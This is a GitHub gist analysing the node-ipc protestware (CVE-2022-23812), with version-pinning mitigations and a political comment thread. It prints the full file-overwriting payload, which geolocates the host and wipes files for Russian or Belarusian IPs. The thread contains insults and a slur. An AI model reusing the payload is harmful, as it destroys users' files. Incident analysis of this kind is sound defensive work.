RIAEvangelist/node-ipc is malware / protestware

gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c

Instantly share code, notes, and snippets.

CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

CVE-2022-23812

The `RIAEvangelist/node-ipc` module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

> ***as of v11.0.0 & v9.2.2*** this module uses the peacenotwar module.

More importantly, commits `847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803` of `RIAEvangelist/node-ipc` contains malware.

⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

> The following codeblock was added in-case the url above is deactivated
>
> ```
> import u from"path";import a from"fs";import o
> from"https";setTimeout(function(){const
> t=Math.round(Math.random()*4);if(t>1){return}const
> n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZ
> {t.on("data",function(t){const n=Buffer.from("Li8=","base64");const
> o=Buffer.from("Li4v","base64");const
> r=Buffer.from("Li4vLi4v","base64");const
> f=Buffer.from("Lw==","base64");const
> c=Buffer.from("Y291bnRyeV9uYW1l","base64");const
> e=Buffer.from("cnVzc2lh","base64");const
> i=Buffer.from("YmVsYXJ1cw==","base64");try{const
> s=JSON.parse(t.toString("utf8"));const
> u=s[c.toString("utf8")].toLowerCase();const
> a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(
> {h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h
> {}})})},Math.ceil(Math.random()*1e3));async function h(n="",o="")
> {if(!a.existsSync(n)){return}let r=
> [];try{r=a.readdirSync(n)}catch(t){}const f=[];const
> c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++)
> {const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t)
> {continue}if(t.isDirectory()){const s=h(i,o);s.length>0?
> f.push(...s):null}else if(i.indexOf(o)>=0)
> {try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t)
> {}}}return f};const ssl=true;export {ssl as default,ssl}
> ```

⚠️| The above code is malicious, DO NOT RUN IT

I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:

⚠️| The following code is malicious, DO NOT RUN IT

```
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n =
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1
 "base64");
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) ||
u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
```

```
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };
```

⚠️| The above code is malicious, DO NOT RUN IT

The following are excerpts from the malicious code:

```
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1l
 "base64");
// https://api.ipgeolocation.io/ipgeo?
apiKey=ae511e1627824a968aaaa758a5309154

const a = u.includes(e.toString("utf8")) ||
u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus

a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
```

The following demonstrates example of what each of the parameters going to the `a.writeFile(i,c.toString("utf8")` would be:

```
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\emoji.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\gateway.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.js',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\guild.js.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.d.ts',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.d.ts.map',
  '2': '💔
}
a.writeFile(1, 2) {
  '1': 'node_modules\\discord-api-types\\rest\\v9\\index.js',
  '2': '💔
}
```

Edit 2022-03-16_0

Comment by zkyf

> Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

```
const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?
apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message =
JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName =
message[countryName.toString("utf8")].toLowerCase();
                const hasRus =
userCountryName.includes(russia.toString("utf8")) ||
userCountryName.includes(belarus.toString("utf8")); // checks if
country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
```

```
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName,
heartUtf8.toString("utf8"), function () {}); // overwrites file
with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}
```

Console:

```
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DDSTextureLoader.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DescriptorHeap.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\DirectXHelpers.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\EffectPipelineStateDescription.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Effects.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GamePad.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GeometricPrimitive.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\GraphicsMemory.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Keyboard.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Model.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\Mouse.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\PostProcess.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\PrimitiveBatch.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\RenderTargetState.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\ResourceUploadBatch.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\ScreenGrab.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SimpleMath.h
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SimpleMath.inl
Rewrite ..\DirectX-Graphics-Samples-master\Packages\directxtk12_desktop_2015.2019.8.23.1\include\SpriteBatch.h
^C
D:\Codes\test>
```

Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181

If you use one of the following mitigation stratagies, make sure to remove the `^` to force `node-ipc` to the specified version.

`"^9.x.x" -> "9.2.1"`

```
     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }
```

`"^10.x.x" -> "10.1.0"`

```
     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }
```

`"^11.x.x" -> "10.1.0"`

```
     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }
```

3rd-party mitigation methods:

- vue-cli
- Unity Hub

Edit 2022-03-16_2 (requested by @lgg)

CVE-2022-23812

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of `node-ipc`:

`package.json`

```
  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }
```

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

> Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

- Yarn 1 - Selective dependency resolutions
- Yarn 2 - Resolutions

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of `node-ipc` (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of `node-ipc` will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of `node-ipc` : MidSpike/node-ipc#1

Copy link

ShikiSuen commented Mar 19, 2022 • edited

@mocsy Sounds like you are likely to blame a raped women for her dressings (or yariyariyada) in lieu of blaming the raper himself.

Copy link

mocsy commented Mar 19, 2022

@ShikiSuen The difference is big. I understand that it's hard to see, but dressing never had anything to do with raping.
On the other-hand using someone else's software always included risks since the dawn of the IT age.

What I'm saying is, the cyber domain is a war-field, it always has been and always will be.

By your analogy, this war-field has known and unknown bad actors or 'rapers' if you like.
Would you go the den of known rapists?
Packaging (nmp) or Clothing(dressing) has nothing to with it.

Copy link

Uzlopak commented Mar 19, 2022

So If a women enters a den of known rapists, it is expected that a rape would be unpunished?
It is not about dressing but about the victim-blaming.

Copy link

ShikiSuen commented Mar 19, 2022

@Uzlopak You got my idea. ;)

Copy link

noblehng commented Mar 19, 2022

> So If a women enters a den of known rapists, it is expected that a rape would be unpunished? It is not about dressing but about the victim-blaming.

Except @moosy doesn't seem to blaming anyone or saying the node-ipc author shouldn't be punished, @moosy just pointed out the underlying security issue like what you said above in other way.

Don't let the extreme analogy trick you. You need law to punished rapists and you also need means to enforce the law and other measurements to prevent rape. Defense in depth.

Anyway, the node-ipc author will get punished by the community and by law if victims sue him. Further cursing him or fighting each other here will not help anyone, just like what he has done, and certainly will not solve the underlying security issue.

Always sandboxing nodejs applications suggested above could be a solution, but expecting every developer to do proper sandboxing every time simply just isn't scalable. Instead, NPM could do more to eliminated a large number of security issues.

For this specific one, most packages shouldn't touch the filesystem, so a static analysis of importing the `fs` module could prevent it. node-ipc seems only use the `fs` module to read the config before, which is questionable in itself.

Copy link

mocsy commented Mar 19, 2022 • edited

Thanks @noblehng. Also note that Deno fixed this too, exactly because it's a long standing issue with node. "Secure by default. No file, network, or environment access, unless explicitly enabled."

Sometimes "Security by a million eyes" don't work. The entire OSS security model depends on reviews. If those don't happen the model is broken. Maybe that's where we need to improve.

Copy link

noblehng commented Mar 19, 2022

> Sometimes "Security by a million eyes" don't work. The entire OSS security model depends on reviews. If those don't happen the model is broken. Maybe that's where we need to improve.

The easiest way is like Russ Cox suggested, don't automatically use the latest version of all dependencies. Then if it is not in your direct dependencies, you could expect someone else to test the new version in a sandbox before update this dependency, so you are not affected. Or less people are affected, at least. But this method probably couldn't prevent targeted attack like this one.

Then there is the static analysis and other automatic testings way that can be done by the package manager hub before publishing, like those app stores.

The best way would be to have a dedicated security team to audit updates for core/popular packages before publishing, but that would need the industry to fund it.

Copy link

mgag commented Mar 20, 2022

@RIAEvangelist is a hero!
Cause there's no such thing as 'an ordinary people' there, in Russia. They are all responsible for the atrocious war crimes of Putin, as the Germans were responsible for the crimes of Hitler!

Copy link

ShikiSuen commented Mar 20, 2022

@mgag Let we see which country is more resemble to the Nazi Germany: https://www.opindia.com/2022/03/ukrainian-tv-show-host-fakhruddin-sharafmal-calls-for-genocide-of-russians-including-children/

Copy link

bxb100 commented Mar 20, 2022

The wrong thing done for the "right" reason is still the wrong thing

Copy link

mgag commented Mar 20, 2022

> @mgag Let we see which country is more resemble to the Nazi Germany: https://www.opindia.com/2022/03/ukrainian-tv-show-host-fakhruddin-sharafmal-calls-for-genocide-of-russians-including-children/

Enough ruZZian pseudo-historical 'propaganda ' here! I'm living just now. Under russian bombs.

Copy link

Uzlopak commented Mar 20, 2022

Please keep politics out. Unfortunately the Ukrainians are to whiny and demanding too much. If we encourage this kind of behavior we can directly go to cyberwar with Russia. So cut the bullshit.

Copy link

Phsnomy commented Mar 20, 2022

> Please keep politics out. Unfortunately the Ukrainians are to whiny and demanding too much. If we encourage this kind of behavior we can directly go to cyberwar with Russia. So cut the bullshit.

Agreed, just cut these bullshit and prevent these kind of protestware bullshit from happening again. Otherwise open source project's credibility will be severely damaged.

Copy link

majorendian commented Mar 21, 2022

OSS wont be damaged. Only node/javascript related OSS will be damaged

Copy link

ner00 commented Mar 21, 2022

> OSS wont be damaged. Only node/javascript related OSS will be damaged

Yes it will. Sabotage from OSS is the headline, node/javascript is a footnote.

Copy link

majorendian commented Mar 21, 2022

@ner00 It is irrelevant what non involved people think. Kind of like how windows people think linux = ubuntu and that ubuntu doing something dumb means bad things for the "linux community"
It wont.

Copy link

forresthopkinsa commented Mar 21, 2022

> Sabotage from OSS is the headline, node/javascript is a footnote.

Quite literally: Open-source developers are burning out, quitting, and even sabotaging their own projects — and it's putting the entire internet at risk

Copy link

ner00 commented Mar 21, 2022

Yeah, well, the illusion that only the perception of 1337 coders matters on the subject is naive. A relatively small and isolated incident like this still sends a very strong message, and not in a good way. I'm aware that I'm being a bit overdramatic here, but the point still stands.

Copy link

majorendian commented Mar 21, 2022

@forresthopkinsa cant read it, its paid so opinion discarded
@ner00 It literally wont change a thing. OSS is used in so many places that replacing it is virtually impossible. I am really tired of arguing with you people. Go ahead and stop using any OSS project if you want. Might as well not program at all since pretty much every programming language I know of is OSS. But I guess I am to 1337 to get your 180 IQ take.

Copy link

majorendian commented Mar 21, 2022

How about we stop using linux and FreeBSD altogether because some javascript idiot uploaded malware to npm. Absolute retard take.

Copy link

ner00 commented Mar 22, 2022 • edited

> I am really tired of arguing with you people.

I'm sorry, wasn't aware given how involved you seem. You did understand the dig I made at your arrogance, which is good.

Copy link

majorendian commented Mar 22, 2022

You are absolutely right about me being more involved than I should.

Copy link

krisavi commented Mar 22, 2022

@MidSpike has put together quite good overview of the problem.
As @noblehng brought up the package manager probably should do some more checks on popular packages, but that means there has to be some financing to be able to make the review system happen in there. This is not only NPM and JS problem. Probably if package crosses some critical mass of usage then it should start to go through review system before published in package managers. I would say that even Log4j could have used something like that where this "code safety" organization tries to find vurneabilities or malicious pieces of code before it gets to shipped to those who haven't done proper dependency locking.

I understand @RIAEvangelist point partly as well and this dependency is biggest platform he had available to use to express his opinion. Creating file on desktop would have been just annoyance and I guess the backlash wouldn't have been as big. Deleting files was pretty bad, if I wouldn't have done that, but for really showing your dislike the easiest and a lot less

harmful way would have been to just check if IP in x country and then put in log message and not run functions of that dependency. That would still have been annoying, but not as destructive as deleting files.

It is and will be problem in OSS. The supply-chain poisoning will be a problem if there is some conflict in author's interests and we all have our own opinions. Currently only way for you not to be affected by them would be to not use 3rd party dependencies or lock versions to known and safe packages. First one would mean a lot of reinventing wheel for companies and slowing innovation. Second one is what developers should do and bump versions only after verified. It also could slow down development a bit, but not as much.

From Brandon's repo comments I am really disappointed in IQ of dev community.

- The harassment of his employee, Swatting, etc. is not ok still. If you have proof that the code change he did caused harm, then gather it and sue him.
- Distribution of this package and "Malware" in my eyes lies on NPM and software that has it as dependency. Technically he did not push the package to you, but you pulled from package manager.
- Talking about children's hospital now suddenly not working and respirators not working... Huh? Why would they use node in respirator system or in any life-critical system at all.
- The claim about some American NGO losing all it's files seems fake to me, just to blow things out of portions. For that to happen that NGO has to make so many mistakes to make it possible to lose all the data in 1 go, like lack of backups and developing and building code with no review or test process in production servers. In order for malicious package to get to production servers there should be some kind of development process that involves test period. If either one of those is missing or broken, then it is not package that is at fault, but business process first. Yes package should not contain such code, but to blame repo maintainer in series of issues in organization where package author has no say in changing seems wrong.
- Personal insults, calling names is something that was done in elementary school and is seen as sign if immaturity than intelligence. Intelligent people insult in more subtle ways. So show you are smart and mature. I personally thought software developers were supposed to be smart people, but for now some rotten apples have broken that illusion.
- There were some comments about journalists and different other profession people being affected... I do not see quite how, the most likely for you to be affected is when you had Unity Hub installed or doing software development. Unity Hub issue is them not doing proper dependency management. I do not see how this package would have gotten to all those journalists computers, are they part-time JS developers?

Whoever thinks the ordinary Russian citizen is innocent and should not suffer because of their leader, then think, why does ordinary Ukrainian has to suffer because of leader of some other country. Ordinary Russian is in that case less innocent than ordinary Ukrainian.

@ShikiSuen one journalist shows how people of whole nation are? He seems like one rotten apple to ruin the bunch. His name is not Ukrainian, from the looks I doubt he is part of Ukrainian culture or should be listened as representative of whole nation. Ukrainian president is chosen to be the "face" of whole nation and I have not heard him calling for genocide. From what I have seen is that he asks for Russian troops to go back to russia to save their lives because Ukrainians will protect themselves in Ukraine. There is difference in protecting your own country and attacking another one. In current case Russian army is the one who has bombed and killed Ukrainian people, including children, while children of Russia are safe in Russia.

Copy link

ShikiSuen commented Mar 23, 2022 • edited

@krisavi The massacre in the East Ukraine started years ago prior to Russian invasion.
I'm not about to blame Zelensky for that since Zelensky doesn't have enough control to what happened there.
The Azov Battalion is the one to blame.

What I can hope is that the Azov Battalion gets evaporated as earlier as possible so Russian troops can be pulled out ouf Ukraine earlier.
The war itself is a disaster, still.


СЄПАР ЛУГАНСЬКИЙ
ВИТРИМАНИЙ
СЄПАР В СМЕТАНІ


СЄПАР В ОЛІЇ

Copy link

majorendian commented Mar 23, 2022

@krisavi It won't affect OSS. This is strictly a JS/NPM problem. I am unsure why you people think this, maybe you could elaborate.
In general, the issue is with package managers of any sort. We have traded convenience for security.

Copy link

majorendian commented Mar 23, 2022

On a side note, if this malware wasn't OSS, it would very likely be deleting files to this day. So even though it is malware, because its open source, people could identify the issue faster. Just image this package to be closed-source proprietary software. The damage would be continuing, and we wouldn't be here discussing it.

Copy link

Uzlopak commented Mar 23, 2022

@krisavi

How do you test for Russian IP in the EU or USA? Do you test your code for every region in the world?

Copy link

Zei33 commented Apr 12, 2022

Package managers are built on a certain level of trust. It's unethical and sets a dangerous precedent in the developer community to convert your package into malware. If you want to make a statement, put a big disclaimer in the README. You can send a message without putting everyone at risk.

This could easily go wrong and affect people outside of the targets. Not every developer works for a big corporation with measures in place to deal with this kind of disaster. You could easily be wiping out months of work for a little mom-and-pop business in New Zealand, innocent people that don't know any better.

Now every popular package developer that has a statement to make will be thinking about this kind of tactic. It's the same with faker.js and unfortunately, any developer that does this will be damaged goods for the rest of their career.

Copy link

xsrvmy commented Apr 23, 2022

On the topic of making statements, there was an incident over two years ago as well where packages started displaying ads when installed, which was NPM soon declared be disallowed.

For me personally though, the most unsettling thing about this attack is that node-ipc is actually run on personal computers by hobbiest vue users, and it might have been able to delete synced OneDrive, Dropbox, etc. files.

Copy link

Disquse commented Apr 23, 2022

Given how much idiotic conspiracy theorists here, Russian propaganda works well even outside of Russia. This is really sad for me as a Russian, that even outside of this information prison people manage to fall to the most obvious lies.